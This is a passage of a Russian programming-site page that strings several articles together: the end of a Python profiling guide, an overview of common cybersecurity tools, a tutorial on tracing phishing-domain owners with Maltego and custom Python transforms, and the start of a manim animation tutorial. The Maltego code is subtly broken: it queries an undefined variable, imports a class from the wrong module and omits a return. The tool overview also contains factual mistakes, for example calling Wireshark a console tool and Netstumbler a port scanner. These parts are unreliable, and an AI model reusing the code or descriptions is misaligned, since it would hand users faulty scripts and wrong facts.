Eliot делает это проще, поскольку регистрация действий по своей сути предоставляет вам информацию о затраченном время. Однако, приложив усилия, вы можете сделать это для любой библиотеки логирования.

После этого используйте профилировщик выборки, такой как Pyinstrument.

Ведение журнала может помочь вам определить конкретное место, где ваша программа работает медленно, и, по крайней мере, некоторые входные данные, вызывающие замедления, но этого часто недостаточно. Итак, следующим шагом будет использование профилировщика, в частности, профилировщика выборки, такого как Pyinstrument:

  • Имеет низкие накладные расходы и, что более важно, не искажает результаты.
  • Измеряет системное время, поэтому можете не беспокоиться, что CPU является «узким местом».
  • Выводит только медленные функции, опуская нерелевантные быстрые функции.

Используйте cProfile, если вам нужна индивидуальная метрика затрат

Если вам когда-нибудь понадобится написать собственный профилировщик, cProfile позволит вам подключить различные функции затрат, что делает его простым инструментом для измерения более необычных показателей.

Вы можете измерить:

  • Только CPU.
  • Не только CPU, но и все время, потраченное на ожидание событий, не связанных с CPU.
  • Количество добровольных переключений контекста, т.е. количество системных вызовов, которые занимают много времени.
  • Распределение памяти.
  • В более широком смысле, также можно произвести замеры любого увеличивающегося счетчика.

5. TL;DR

В качестве хорошей отправной точки для работы с инструментами оптимизации производительности я предлагаю вам следующий алгоритм:

  1. Зарегистрируйте ключевые входы и выходы, а также прошедшее время ключевых действий, используя Eliot или какую-либо другую библиотеку регистрации.
  2. Используйте Pyinstrument или другой профилировщик выборки в качестве профилировщика по умолчанию.
  3. Используйте cProfile, если вам нужен собственный профайлер.
***

Из этой статьи мы узнали:

  1. Что собой представляют cProfile, Pyinstrument и Eliot.
  2. Обсудили их плюсы и минусы.
  3. Узнали как лучше комбинировать работу профилировщиков.

Материалы по теме

07
Мар
2022

⌨️ ТОП-30 рабочих аналогов заблокированного иностранного ПО. Опенсорсная и российская замена иностранного ПО и приложений

В небольшом обзоре разберем достойные варианты отечественного и опенсорсного ПО разной направленности: операционные системы, САПР, IDE, антивирусы, редакторы графики и офисные программы.

06
Фев
2022

🕵 Лучшие инструменты для специалиста по кибербезопасности в 2022 году

На вооружении у специалиста по кибербезопасности масса инструментов: сканеры веб-уязвимостей, программы для аудита паролей, анализа пакетов, пентеста, шифрования и многое другое. Поговорим о самых лучших и актуальных из них.

Сегодня информационная безопасность является приоритетной задачей в большинстве компаний. Инновационные технологии и их использование в каждой области нашей жизни ведут к повышению уровня киберпреступлений.

Успешные атаки наносят порой непоправимый ущерб предприятию – финансовые убытки, компрометация данных компании и ее клиентской базы, и, как следствие, ущерб репутации.Помимо этого, немаленькие судебные издержки и простои предприятия из-за длительных тяжб.

Поэтому каждый руководитель стремится внедрить в структуру своего бизнеса самые эффективные и оптимальные средства управления информационной безопасностью. Постоянный мониторинг сети позволяет предупредить атаки злоумышленников и сохранить свои конфиденциальные данные. Это небольшой, но емкий обзор самых лучших инструментов, которые должны быть у каждого специалиста по информационной безопасности (далее – ИБ).

Инструменты для мониторинга сетевой безопасности

Argus

Argus
Argus

Инструмент информационной безопасности на базе открытого исходного кода, который чаще всего используется в анализе трафика сети. Название Argus – аббревиатура Audit Record Generation and Utilization System (система формирования и использования аудиторских записей).

Задача Argus заключается в проведении углубленного анализа информации, которая находится и перемещается в сети. У этого инструмента достаточно мощности для мониторинга больших объемов трафика и предоставления полных актуальных отчетов.

Nagios

Nagios
Nagios

Помогает специалистам по ИБ мониторить и управлять сетью, подключенными хостами и системой клиента удаленно в режиме реального времени. Пользователь получает уведомление о возможной кибератаке при обнаружении подозрительной активности и такие предупреждения клиент может настроить «под себя». Инструмент отслеживает большинство популярных служб – SMTP, NNTP, ICMP, POP3, HTTP и многие другие.

Больше полезной информации вы можете найти на нашем телеграм-канале «Библиотека хакера»

OSSEC

OSSEC
OSSEC

Инструмент ИБ с открытым исходным кодом для предупреждения хакерских атак, который предоставляет сетевую аналитику активности в режиме реального времени. Пользователь имеет возможность персональной настройки мониторинга точек доступа по различным категориям – реестрам, процессам, руткитам, журналам и файлам.

OSSEC полезен тем, что доступен на разных используемых платформах – Windows, Linux, Mac, VMWare ESX и BSD.

POf

Инструмент, который часто используется при мониторинге активности пользовательской сети, несмотря на то, что разработчики уже несколько месяцев не выпускали обновлений. POf хорошо оптимизирован и не создает дополнительный трафик во время своей работы. Используется для выявления узлов операционных систем, подключаемых к внутренней сети предприятия.

Помимо этого, POf эффективен при поиске запросов по категориям и именам. Подходит для опытных специалистов по ИБ – у новичков могут возникнуть трудности с использованием.

Splunk

Splunk
Splunk

Универсальный инструмент для контроля безопасности сети. Используется как для поиска информации об угрозах за прошлые периоды, так и мониторинга в режиме реального времени. Кроме функции поиска, Splunk оснащен уникальным пользовательским интерфейсом, который полезен при предоставлении отчетов ИБ и предупреждении о возможных атаках.

Инструменты для обнаружения сетевых вторжений

Acunetix

Acunetix
Acunetix

Предприятия часто опасаются хакерских атак, исходящих от межсетевых экранов, социальной инженерии и внутренней архитектуры компании и забывают о веб-приложениях и сайтах. Инструмент Acunetix занимается мониторингом активности и проблемами безопасности от всех возможных источников, а также проводит «репетиции» конвекционных атак для проверки эффективности применяемых средств ИБ.

Forcepoint

Forcepoint
Forcepoint

Инструмент используется при настройке SD-Wan для ограничения доступа пользователей компании-клиента к определенным ресурсам, а также для блокирования уязвимостей. В отличие от других инструментов, Forcepoint практически мгновенно выявляет проблему и предпринимает действия по обеспечению безопасности. Инструмент особенно полезен пользователям облачных хранилищ.

GFI LanGuard

Подходит для постоянного контроля сети, мониторинга уязвимостей и обеспечения должного уровня ИБ. Проводит аудит сети и ПО как мобильных устройств, так и стационарного электронного оборудования. Особенно популярен среди пользователей Windows, Mac и Linux.

Snort

Система поиска и предупреждения хакерских атак в сети с открытым кодом. Используется при анализе трафика внутренней сети и его сравнении с ранней базой данных о нападениях. Snort может быть внедрен на любую современную платформу и операционную систему и предотвращает уникальные атаки CGI – дактилоскопические, с переполнением буфера и скрытым сканером портов.

Инструменты для сканирования веб-уязвимостей

Burp Suite

Burp Suite
Burp Suite

Инструмент используется для мониторинга в режиме реального времени для определения критических уязвимостей. Также Burp Suite проводит тренировочные атаки для определения и предупреждения всех возможных нападений на данные компании. Есть три версии программ: Предприятие, Профессионал и Сообщество. Первые две – коммерческие, а третья – бесплатная, с лимитированным набором функций.

Nessus Professional

Nessus Professional
Nessus Professional

Кроме стандартных функций, также занимается улучшением целостности сети – исправляет «казусы» ИБ, конфигурацию параметров безопасности и многое другое. Версия Nessus Professional дает возможность использования бесплатной уязвимости с открытым исходным кодом. База данных уязвимостей обновляется ежедневно.

Nexpose

Используется для выявления уязвимостей и слабых мест в системе пользователя. База данных постоянно обновляется, что позволяет адаптировать среду сети под новые виды уязвимостей. Кроме этого, специалисты по ИБ могут оценивать риск уязвимостей, расставлять их в приоритетном порядке и своевременно реагировать на угрозы.

Nikto

Инструмент с открытым исходным кодом для мониторинга и контроля за кибератаками, в базе которого содержится более 6500 типов уязвимостей и возможных угроз. Программа постоянно обновляется, добавляются новые плагины для совместимости инструмента с новыми версиями операционных систем.

Nmap

Бесплатный сетевой картограф для управления сетями и выявления уязвимостей в системе. Утилита дает специалисту по ИБ обзор всех необходимых характеристик системы пользователя, такие как фильтры пакетов и межсетевых экранов, ОП, хосты и прочее.

Paros Proxy

Инструмент на базе Java, используемый при тестировании безопасности сети к уязвимостям и кибератакам. Здесь используются регистратор трафика, сканер уязвимостей и веб-паук – все в режиме реального времени. Кроме стандартных атак, Paros Proxy рассматривает атаки с использованием SQL-инъекций и межсайтовые сценарии.

Инструменты кибербезопасности для аудита паролей и анализатора пакетов

Cain and Abel

Один из первых и бесплатных инструментов ИБ, используемых на Windows – отсюда и название (дети первых людей на Земле). Позволяет выявлять уязвимости в паролях системы и может их восстанавливать. У инструмента обширная функциональность – от записи сообщений VoIP до анализа протоколов маршрутизации.

John the Ripper

John the Ripper
John the Ripper

Используется для проверки безопасности новых и старых баз паролей, которые могут ставить под угрозу конфиденциальные данные компании пользователя. Вначале программа работала только на Unix, но сегодня уже внедрена на Windows, DOS и OpenVMS.

Tcpdump

Tcpdump
Tcpdump

Инструмент, используемый для перехвата пакетов данных во внутренней сети предприятия и мониторинга трафика TCP и IP. Безопасность системы проверяется при помощи фильтрации потока информации на узлах приема/передачи сети.

Wireshark

Wireshark
Wireshark

Консольный инструмент кибербезопасности, ранее называвшийся Ethereal, используется в анализе сетевого трафика и безопасности пользовательской системы в режиме реального времени. Wireshark рассматривает все уровни ИБ сети – от узла соединения до распределения пакетов данных.

Инструменты кибербезопасности для защиты сети

Aircrack-ng

Это целый набор инструментов для проверки сети Wi-Fi на возможные уязвимости. Специалистами ИБ применяется при захвате пакетов данных, проходящих в сети, а уникальная функция экспорта такой информации в текстовом формате позволяет более качественно оценивать риски безопасности в системе. Кроме этого, инструмент оценивает надежность ключей типа WPA-PSK и WEP, проводя тестовые атаки на них.

KisMAC

Инструмент для безопасности сети в MAC OS X. Большинство функций применяют только опытные специалисты по ИБ. Например, сканирование сети Wi-Fi на картах AirPort, Apple AirPort Extreme и других. Здесь используются проверочные атаки методом отбора и использования уязвимостей ключей безопасности, паролей и слабого планирования доступа к базам данных.

Netstumbler

Бесплатный инструмент для операционок Windows, позволяющий обнаруживать открытые порты в сети системы. Здесь используется метод WAP-поиска таких портов и другие уникальные способы выявления уязвимостей.

Инструменты тестирования на проникновение

Kali Linux

Kali Linux
Kali Linux

Обширная, но простая исполняемая экосистема, в наличии которой более 300 инструментов для обеспечения пользовательской кибербезопасности, используемых при сканировании систем и проверки сетей на наличие уязвимостей. Инструмент будет полезен как профи, так и новичкам в области ИБ.

Metasploit

Коллекция инструментов для тестирования проникновения злоумышленников в систему пользователя. Полезен при сканировании сети на наличие уязвимостей, планировании стратегий по усилению безопасности данных от возможных атак.

Инструменты шифрования

KeyPass

KeyPass
KeyPass

Инструмент для контроля за идентификацией. Отлично подходит для офисного ПО, что позволяет работникам использовать один и тот же пароль для разных учетных записей. Есть функция мастер-пароля, что позволяет обезопасить личные и конфиденциальные данные от незаконного вторжения.

Tor

Tor
Tor

Обеспечивает конфиденциальность клиента во Всемирной паутине при помощи маршрутизации запросов на разных прокси-серверах для того, чтобы их невозможно было отследить. Это обеспечивает должный уровень безопасности пользователя от вредоносных выходных узлов и лишнего сетевого трафика.

TrueCrypt

Несмотря на то, что последние обновления вышли уже несколько лет назад – TrueCrypt держится в ТОП лучших и часто используемых инструментов по ИБ. Здесь есть возможность шифровки раздела носителя, устройств хранения и генерация виртуальных дисков.

***

Сегодня кибербезопасность стремительно развивается и оперативно отражает, а порой и предупреждает хакерские атаки на сети. Мы представили 27 самых эффективных и популярных инструментов, которые будут полезны как профессиональным специалистам по ИБ, так новичкам и любителям.

Рекомендуем попробовать бесплатные версии программ, чтобы убедиться в их полезности именно для ваших целей – в каждой из них есть уникальные функции, подходящие для разных компаний и предприятий.

Материалы по теме

08
Янв
2022

💸 Стоит ли разрабатывать коммерческие сайты на WordPress в 2022 году?

В сети вот уже несколько лет ходят разговоры о том, что самая популярная CMS в мире канула в Лету, уступив место другим более свежим решениям. В статье попытаемся выяснить, так ли это на самом деле и какие проблемы существуют у этой платфор…

28
Дек
2021

Самые интересные факты из веб-альманаха 2021

Интересные факты из ежегодного веб-альманаха. Узнайте, какая JS-библиотека самая популярная и сколько весит перегруженная CSS страница.
— Читать дальше «Самые интересные факты из веб-альманаха 2021»

01
Дек
2021

Митап «О развитии виртуальных ассистентов Салют и создании смартапов»

На митапе расскажут о развитии виртуальных ассистентов, поделятся способами монетизации на платформе SmartMarket и лайфхаками разработки мультимодального взаимодействия с цифровыми помощниками.
— Читать дальше «Митап «О развитии виртуальных ассистентов…

01
Дек
2021

🕵 Я узнаю тебя из тысячи: поиск киберпреступников с помощью Maltego. Опыт REG.RU

В REG.RU мы часто сталкиваемся с разными случаями мошеннической активности: от спама и регистрации фишинговых доменов до взломов аккаунтов клиентов и угонов доменов. Некоторые случаи требуют тщательного расследования и анализа, в том числе с помощью специального ПО. Сегодня мы расскажем о программе Maltego, и как с помощью неё вычислить мошенника. Это не рекламная статья. Все примеры и кейсы вымышлены, совпадения случайны.

Что такое Maltego?

Maltego – это программа для автоматизации сбора информации из различных источников и дальнейшего представления в удобном графическом формате, где наглядно видны связи между разными объектами. Инструмент также применяется в расследованиях и разведке на основе открытых/закрытых источников.

Есть несколько вариантов лицензий Maltego:

  • Бесплатные Maltego CaseFile, Maltego Community Edition
  • Платные Maltego Professional, Maltego Enterprise

Вся информация в Maltego представлена в виде графа (схемы с указанием узлов и связей).

Пример представления информации в Maltego
Пример представления информации в Maltego

В графе отображены различные объекты (Entities). Объектом может быть любая единица информации: IP-адрес, домен, email, номер телефона, ФИО, организация и т.д. Объекты соединяются связями (Links).

Пример связей между объектами в Maltego
Пример связей между объектами в Maltego

Добавлять объекты и связи можно как вручную, так и автоматически, используя трансформации (Transforms) – скрипты, которые ищут данные о выбранном объекте в различных источниках и выводят её на граф в виде объектов.

Также в Maltego есть набор встроенных трансформаций. Например, для получения информации об IP-адресе есть большой набор встроенных трансформаций: получение данных Whois, местоположения, проверка по базам фродов и спискам нод TOR.


Трансформации можно скачивать и устанавливать дополнительно из маркетплейса Transforms Hub в самой программе.

Интерфейс Maltego Transforms Hub
Интерфейс Maltego Transforms Hub

Для скачивания некоторых трансформаций из хаба потребуется API-ключ для сервисов, откуда запрашивается информация. Для этого потребуется зарегистрироваться на самих этих сервисах.


Можно также писать собственные трансформации, что пригодится для поиска информации по внутренним источникам.

Применение в расследованиях

Возможности Maltego полезны для расследований компьютерных инцидентов, например, когда нужно проанализировать большие объёмы информации из логов и баз данных, выявить взаимосвязи и найти улики. Давайте разберём, что может программа на примере вымышленного, но типичного расследования.

Расследование: найти создателя фишинговых сайтов

Сценарий: Поступила жалоба на фишинговый сайт, который имитирует сайт банка и ворует данные кредитных карт. Доменное имя сайта MOB-VTB24.RU похоже на домен банка ВТБ. Сайт, расположенный на этом домене внешне похож на сайт банка а также запрашивает данные банковской карты, а значит используется для фишинга. Сразу предположим, что злоумышленник вряд ли мог ограничиться одним доменом, к тому же он мог завести несколько разных аккаунтов.

Цель расследования: Найти все домены злоумышленника, удостовериться что они фишинговые, и заблокировать его аккаунты. Домены отправить на идентификацию данных администратора.

Гипотезы: Из логов мы можем как минимум узнать IP-адреса, значения сookie, User-Agent браузера и другие параметры системы, таким образом получить цифровой отпечаток злоумышленника. Потому что при создании нового аккаунта в Личном кабинете для регистрации домена необходимо указать email, телефон, а также в некоторых случаях ФИО, адрес и паспортные данные.

Более того, мошенник может забыть скрыть свой настоящий IP-адрес, используя proxy или VPN, и тем самым выдать себя. Или в одной сессии зайти в два своих аккаунта, благодаря чему мы легко найдём связь между ними. Он может указать одинаковые регистрационные данные, такие как email и телефон. Также косвенные признаки, например, использование специфичного почтового сервиса для регистрации большого количества email.

Чем больше данных мы обработаем, тем выше вероятность обнаружения взаимосвязей. Ручная обработка из разных источников (баз данных, логов) и их сопоставление – довольно трудозатратное и рутинное занятие, которое может быть похоже на известный мем.


Поэтому обратимся к Maltego. Создадим новый граф и сразу добавим на него доменное имя MOB-VTB-24.RU.


В Entity Palette доступен список типов объектов, которые можно перетащить на граф. Найдём там объект Domain и перетащим его в основное окно графа и зададим доменное имя.


Вставлять объекты также можно из буфера обмена. Типы объектов Maltego распознаёт автоматически. Если распознавание прошло некорректно, можно изменить тип объекта, выбрав в контекстном меню Change Type.


В этом же контекстном меню можно выбирать и установленные трансформации.


Добавление новых типов Entities

В первую очередь нам нужно получить регистрационную информацию домена (ФИО, email и телефон) и аккаунт его владельца из базы данных. Для этого нужно создать тип объекта User (для отображения аккаунта), а также написать трансформации для поиска домена по базе. Все запросы в базу, указанные ниже, изменены и упрощены, и служат только для образовательных целей.

Найдём во вкладке Entities мастер создания типов объектов.


Создадим тип объекта User и настроим основное свойство объекта: user_id



Теперь добавим трансформацию, которая будет выводить данные домена и аккаунт владельца

Библиотека для написания трансформаций maltego_trx

Для написания трансформаций будем использовать Python-библиотеку под названием maltego_trx (https://github.com/paterva/maltego-trx/) для Python версии 3.6 и новее.

Установить библиотеку можно командой:

        pip install maltego-trx
    

После установки создаём новый проект:

        maltego-trx start new_project
    

После создания проекта файлы для наших трансформаций будут располагаться в папке new_project/transforms/

Пример: трансформация GreetPerson

В качестве примера рассмотрим трансформацию GreetPerson, которая уже есть в папке, она выводит приветствие:

new_project/transforms/GreetPerson.py
        from maltego_trx.entities import Phrase
from maltego_trx.transform import DiscoverableTransform
 
class GreetPerson(DiscoverableTransform):
   """
   Returns a phrase greeting a person on the graph.
   """
   @classmethod
   def create_entities(cls, request, response):
       person_name = request.Value
       response.addEntity(Phrase, "Hi %s, nice to meet you!" % person_name)
    

Создание трансформации SearchDomain

Для трансформации нужно создать новый класс и унаследовать его от DiscoverableTransform, переопределить метод create_entities, в котором и будет происходить вся логика по поиску данных и добавления объектов на граф.

Добавление объектов на граф выполняется с помощью метода response.addEntity.

        from maltego_trx.transform import DiscoverableTransform
import MySQLdb
 
# Наследуем наш класс от DiscoverableTransform
class SearchDomain(DiscoverableTransform):
   """
   Выполняет поиск домена.
   """
 
   # Переопределяем метод create_entities
   @classmethod
   def create_entities(cls, request, response):
       # Получаем входящее значение
       email = request.Value
 
       # Инициализируем подключение к базе
       db = MySQLdb.connect(host='database.host',
                           port='3306',
                           user='user',
                           passwd='password',
                           db='db',
                           charset="utf8")
       cursor = db.cursor(MySQLdb.cursors.DictCursor)
 
 
       # Выполняем поиск по таблице domains
       cursor.execute("""select user_id, name, phone, email
                           from domain
                           where domain = %s
           """, [domain])
 
      rows = cursor.fetchall()
 
       # В зависимости от поля добавляем на граф
       # объекты соответствующих типов
       for row in rows:
           response.addEntity('yourorganization.User', row['user_id'])
           response.addEntity('maltego.Person', row['name'])
           response.addEntity('maltego.PhoneNumber', row['phone'])
           response.addEntity('maltego.EmailAddress', row['email'])
    
Обратите внимание
Для добавления типа объекта нужно использовать Unique Type Name, которое мы указали при создании (yourorganization.User). Для встроенных объектов можно импортировать соответствующие классы из библиотеки Maltego.

        from maltego_trx.entities import Person
...
response.addEntity(Person, row['name'])
    

Для удобства можно сделать маппинг полей таблицы и объектов Maltego. Это будет полезно, когда разных объектов много.

        field_map = {
   'user_id': 'yourorganization.User',
   'name': 'maltego.Person',
   'phone': 'maltego.PhoneNumber',
   'email': 'maltego.EmailAddress'
}
for row in rows:
   for field in row:
       if field_map.get(field):
           response.addEntity(field_map[field], row[field])
    

Добавление трансформации в Maltego

Скрипт нашей трансформации готов, теперь нужно его добавить в Maltego.

Во вкладке Transforms найдём меню New Local Transform и заполним все необходимые параметры.


В значении Input Entity Type нужно выбрать тип объекта, над которым мы будем выполнять эту трансформацию. В этом примере это Person.


Зададим путь к интерпретатору Python3:

  • project.py – это основной скрипт проекта.
  • local означает, что трансформация будет работать локально (maltego_trx также позволяет запускать сервер трансформаций python project.py runserver).
  • searchdomain – это имя нашей трансформации, в зависимости от того как мы назвали класс.
  • Убедиться, что класс создан правильно и вывести список всех трансформаций проекта можно в директории проекта, выполнив команду python3 project.py list.

Запуск трансформаций

Наконец мы добрались до момента, когда можно запустить нашу трансформацию.



В окне Output можно увидеть логи, а также туда можно вывести отладочную информацию, если нужно найти ошибку в скрипте. Это можно сделать в настройках трансформации в Transform Manager, указав галочку Show debug info.


Каждый объект можно пометить флагом и комментарием:


Аналогичное действие можно сделать в коде трансформации при добавлении объекта:

  • добавить флажок;
        from maltego_trx.maltego import BOOKMARK_CLRS
...           
...
           me = response.addEntity(
               'yourorganization.User', user_id
               )
           me.setBookmark(BOOKMARK_CLRS["red"])

    
  • добавить заметку.
        me.setNote("Регистрирует фишинговые домены")

    

Итак, мы нашли аккаунт пользователя, телефон, email и ФИО. Можем выполнить обратный поиск по этим данным. Для этого нужно добавить соответствующие трансформации по аналогии с SearchEmail.

Обратный поиск


Поиск по номеру телефона выдал нам новые домены и другой аккаунт. Видно, что все домены так или иначе вызывают подозрения и связаны они не только с банками, но и с сервисом BlaBlaCar.

Повторив поиск, только по одному номеру телефона мы выявили ещё 88 доменов.


Выгрузив данные по найденным аккаунтам, получаем дополнительные адреса электронной почты и телефоны. Подключив в качестве источника, например, логи авторизации, найдём также IP-адреса, с которых был вход в найденные аккаунты.


Повторяя шаги по новым объектам, мы можем выявить таким образом целую сеть.


На первый взгляд огромный граф может выглядеть непонятно, но с помощью функции поиска мы можем отсортировать объекты по типу и получить полный список доменов, экспортировать его в нужном формате для дальнейшей работы.


Отсортировав в графе ненужные объекты, выгружаем список доменов и аккаунтов мошенника/ов. Далее, исходя из полученной информации, можно блокировать аккаунты, домены и противодействовать мошеннической активности.

Это только один из примеров, когда можно использовать Maltego для расследований и анализа большого количества взаимосвязанной информации. Можно продолжать добавлять источники и совершенствовать скрипты трансформаций.

Однако ещё один важный момент – оптимизация работы трансформаций с учётом ограничений. Об этом речь пойдёт ниже.

Оптимизация запросов с учётом ограничений

Лицензии Maltego Professional и Maltego Enterprise не имеют каких-либо ограничений. Однако, используя бесплатную версию Maltego Community Edition, можно столкнуться с ограничениями на вывод количества объектов – 12 штук за один раз. Чтобы вывести полный список объектов, нужно повторять трансформацию несколько раз. Ещё один нюанс в том, что это ограниченное число объектов каждый раз выводится случайным образом, но не по порядку, то есть трансформация второй раз может вывести те же результаты, что уже есть на графе. Это дополнительно вынуждает запускать трансформацию.

Немного сгладить этот недостаток можно, усовершенствовав скрипты трансформаций и выводить объекты по порядку и, таким образом, уменьшить количество запросов в базу данных.

Как это сделать – в конце статьи, а пока продолжим поиски.

Итак, доработаем наши трансформации, чтобы выводить объекты по порядку по 12 штук. Оптимизируем следующим образом:

  • При первом запуске трансформации делаем запрос в базу.
  • Выводим на экран 12 объектов, остальные сохраняем во временном хранилище, например, в файле.
  • При повторных запусках считываем объекты из файла по 12 штук. Для этого создадим общий класс для трансформаций, которые будут работать с кэшем. И остальные трансформации будем наследовать уже от него.

CacheTransform

        from maltego_trx.transform import DiscoverableTransform
import zlib
import json
 
class CacheTransform(DiscoverableTransform):
   # Переопределяем основной метод,
   # который будет выводить объекты на экран
   @classmethod
   def create_entities(cls, request, response):
       # Получаем входное значение
       value = request.Value
 
       # Кэшированные объекты будем сохранять
       # в файле. Сгенерируем уникальное имя файла
       # на основе имени класса и входного значения
       transform = cls.__name__
       # Входное значение может быть разной длины
       # и содержать небезопасные символы.
       # Поэтому посчитаем контрольную сумму
       crc = zlib.crc32(bytes(value, 'utf-8'))
 
       filename = f"/tmp/maltego_{transform}{crc}"
 
       # Сначала проверим не было ли уже
       # что-то записано в кэш
       cache = cls.extract_from_cache(response, filename)
 
       # Если в кэше что-то уже есть то читаем оттуда
       if cache is not None and len(cache) > 0:
           for entity in cache:
               response.addEntity(entity["entity_type"], entity["value"])
      
       # Если кэш не обнаружен, то выполняем поиск
       else:
           entities = cls.search_entities(value)
           # Выводим на экран первые 12 объектов
           head = entities[:12:]
           for entity in head:
               response.addEntity(entity["entity_type"], entity["value"])
 
           # Остальные сохраняем в кэш
           tail = entities[12::]
           if len(tail) > 0:
               # Выведем в окно Output сообщение о том,
               # сколько элементов было добавлено в кэш
               response.addUIMessage(f"Добавлено в кэш {len(tail)} штук")
               with open(filename, 'w', encoding='utf-8') as w_file:
                   # Для безопасного сохранения объектов
                   # используем формат JSON
                   json.dump(tail, w_file)
 
   @staticmethod
   def extract_from_cache(response, filename):
       """
           Читает первые 12 элементов и удаляет их из кэша
       """
       try:
           with open(f"{filename}", 'r', encoding='utf-8') as file:
               entities = json.load(file)
               if len(entities) > 0:
                   head = entities[:12:]
                   tail = entities[12::]
                   with open(f"{filename}", 'w', encoding='utf-8') as w_file:
                       response.addUIMessage(
                           f"Осталось в кэше {len(tail)} штук"
                       )
                       json.dump(tail, w_file)
                   return head
               else:
                   return []
       except FileNotFoundError:
           return None
 
   @staticmethod
   def search_entities(value):
       """
           Метод для поиска данных во внешних источниках
       """
       entities = list()
       for i in range(1, 15):
           entities.append(
               {
                   "entity_type": "maltego.Phrase",
                   "value": f"Test {i}"
               }
           )
 
       return entities

    

Пробуем запустить:


Трансформация вывела на экран 12 объектов и 2 записала в кэш. Вот как выглядит файл с кэшем:


Трансформация SearchDomain (улучшенная)

Теперь мы можем немного модифицировать и ту трансформацию, что создали вначале.

        from maltego_trx.transform import CacheTransform
import MySQLdb
# На этот раз наследуем уже
# от CacheTransform
class SearchDomain(CacheTransform):
   """
   Выполняет поиск домена.
   """
 
   # Переопределяем другой метод search_entities
   @classmethod
   def search_entities(value):
       # Получаем входящее значение
       email = value
 
       # Инициализируем подключение к базе
       db = MySQLdb.connect(host='database.host',
                           port='3306',
                           user='user',
                           passwd='password',
                           db='db',
                           charset="utf8")
       cursor = db.cursor(MySQLdb.cursors.DictCursor)
 
 
       # Выполняем поиск по таблице domains
       cursor.execute("""select user_id, name, phone, email
                           from domain
                           where domain = %s
           """, [domain])
 
       rows = cursor.fetchall()
 
       # В зависимости от поля добавляем на граф
       # объекты соответствующих типов
      
       field_map = {
       'user_id': 'yourorganization.User',
       'name': 'maltego.Person',
       'phone': 'maltego.PhoneNumber',
       'email': 'maltego.EmailAddress'
       }
      
       # Сохраняем найденные объекты в массив
       # А вся логика по выводу и кэшированию
       # выполнится в родительском классе
       entities = list()
       for row in rows:
           for field in row:
               if field_map.get(field):
                   entities.append({
                       "entity_type": field_map[field],
                       "value": row[field]
                       })

    

Теперь если поиск вернёт много объектов, то нам не придётся снова и снова выполнять запросы в базу, можно постепенно вывести все элементы на экран из кэша.

***

Maltego упрощает процесс расследования благодаря автоматизации поиска и представления данных в графическом виде. В статье мы рассмотрели далеко не весь функционал программы. Например, это удобные функции по анализу информации, уже представленной на графе, возможности экспорта данных, объединение трансформаций в так называемые «‎машины»‎ для ещё большей оптимизации поиска. Всё это можно использовать не только для расследования но и для задач поиска информации по открытым источникам (OSINT).

30
Ноя
2021

🛠 ТОП-10 инструментов дизайнера UX/UI, актуальных в 2021 году

В средствах для создания дизайна UX/UI легко запутаться, поэтому сначала стоит понять их предназначение. Предлагаем вниманию читателей небольшой обзор актуальных в 2021 году инструментов.

24
Ноя
2021

Технические ошибки на сайте: как найти и исправить

Чтобы оптимизировать ресурс с учётом рекомендаций поисковых систем, нужно сначала провести SEO-аудит и определить внутренние проблемы.
— Читать дальше «Технические ошибки на сайте: как найти и исправить»

15
Ноя
2021

🎞️ Изучаем manim. Часть 1: основные сведения о библиотеке для новичков

Manim – библиотека Python для создания математических анимаций. Вы наверняка видели ролики канала 3Blue1Brown, автор которого и написал ее первую версию. Мы же будем изучать созданный сообществом разработчиков форк – manim community.

Установка библиотеки

Вариантов установки масса, но мы рассмотрим установку на локальную машину с операционной системой Windows. Другие варианты вы можете найти в документации. Для нормального функционирования библиотеки необходим ffmpeg. Прямая ссылка для загрузки: https://www.gyan.dev/ffmpeg/builds/ffmpeg-release-essentials.7z.

Архив необходимо распаковать в любое место на диске и внести директорию библиотеки в переменную среды Path. Чтобы это сделать, необходимо зайти в свойства моего компьютера, выбрать дополнительные параметры системы, нажать кнопку переменные среды и добавить в переменную Path путь до папки ffmpeg/bin:


Далее необходимо инсталлировать manim. Вы можете установить библиотеку в основной системе или использовать виртуальные окружения. Пойдем вторым путем.

  • Создадим папку для нашего будущего проекта manim_ex.
  • Откроем консоль в выбранной папке и вызовем команду: python -m venv env. Это заклинание создаст виртуальное окружение с именем env.
  • Активируем окружение командой: env\Scripts\activate.bat.
  • Установим саму библиотеку: pip install manim.
  • Не закрывайте консоль, она нам еще пригодится.
Необходимый минимум программ инсталлирован, но для полноценной работы потребуется любой дистрибутив LaTeX. Создатели библиотеки рекомендуют использовать MikTeX из-за простоты добавления дополнительных пакетов. Скачиваем и устанавливаем его, не заботясь о выборе. Когда manim будет обращаться к MikTeX и не найдет нужного пакета, встроенный менеджер предложит его скачать.

На этом этапе мы готовы начать знакомится с библиотекой.

Hello world

Manim предлагает пользователю три концепции:

  • mobject (mathematical object)
  • animations
  • scene
Эти концепции реализованы в соответствующих классах: Mobject, Animation, Scene. Прежде, чем углубляться в их структуру, сделаем проект hello-world.

В папке manim-ex создадим файл hello.py и добавим в него следующие строки:

hello.py
        from manim import *
 
 
class SquareToStar(Scene):
    def construct(self):
        square = Square()
        square.set_fill(GREEN, opacity=0.5)
        self.play(Create(square))
    

Далее возвращаемся в оставленную открытой консоль и выполняем команду:

        manim -pql .\hello.py SquareToStar
    

Начнется процесс рендеринга, в результате которого автоматически откроется окно с похожей анимацией.


Разберемся построчно, что происходит.

        from manim import *
    

Тут мы импортируем все, что содержится в библиотеке в глобальное пространство имен. В общем случае это будет плохой идеей, но разработчики библиотеки рекомендуют именно такой путь импорта, а не поименное указание необходимых функций, классов, констант. Ведь для нашего hello world мы импортировали уже четыре имени: Scene, Square, Green, Create.

        class SquareToStar(Scene):
    def construct(self):
    ...

    

В этой конструкции мы наследуем от класса Scene, в котором нужно перегрузить функцию construct. В ней и происходит сборка сцены: добавление объектов, настройка их дизайна и расположения, настройка анимации.

        square = Square()
square.set_fill(GREEN, opacity=0.5)
self.play(Create(square))
    

В этих строках создается объект Square (он же квадрат) и устанавливается зеленый цвет заливки с прозрачностью 0.5. В последней строке внутри метода self.play() создается анимация Create, которая постепенно проявляет объект на сцене.

Усложним пример, сделав трансформацию созданного нами зеленого квадрата в пятиконечную звезду с синим контуром и без фона, которая после исчезнет. Для этого используем следующий код:

hello.py
        from manim import *
 
 
class SquareToStar(Scene):
    def construct(self):
        square = Square()
        square.set_fill(GREEN, opacity=0.5)
        star = Star(outer_radius=2, color = BLUE)
        self.play(Create(square)) 
        self.play(Transform(square, star))
        self.play(FadeOut(square))
    

Не забываем вызвать команду:

        manim -pql .\hello.py SquareToStar
    

В результате получаем следующую анимацию:


Структура библиотеки и проектов анимации

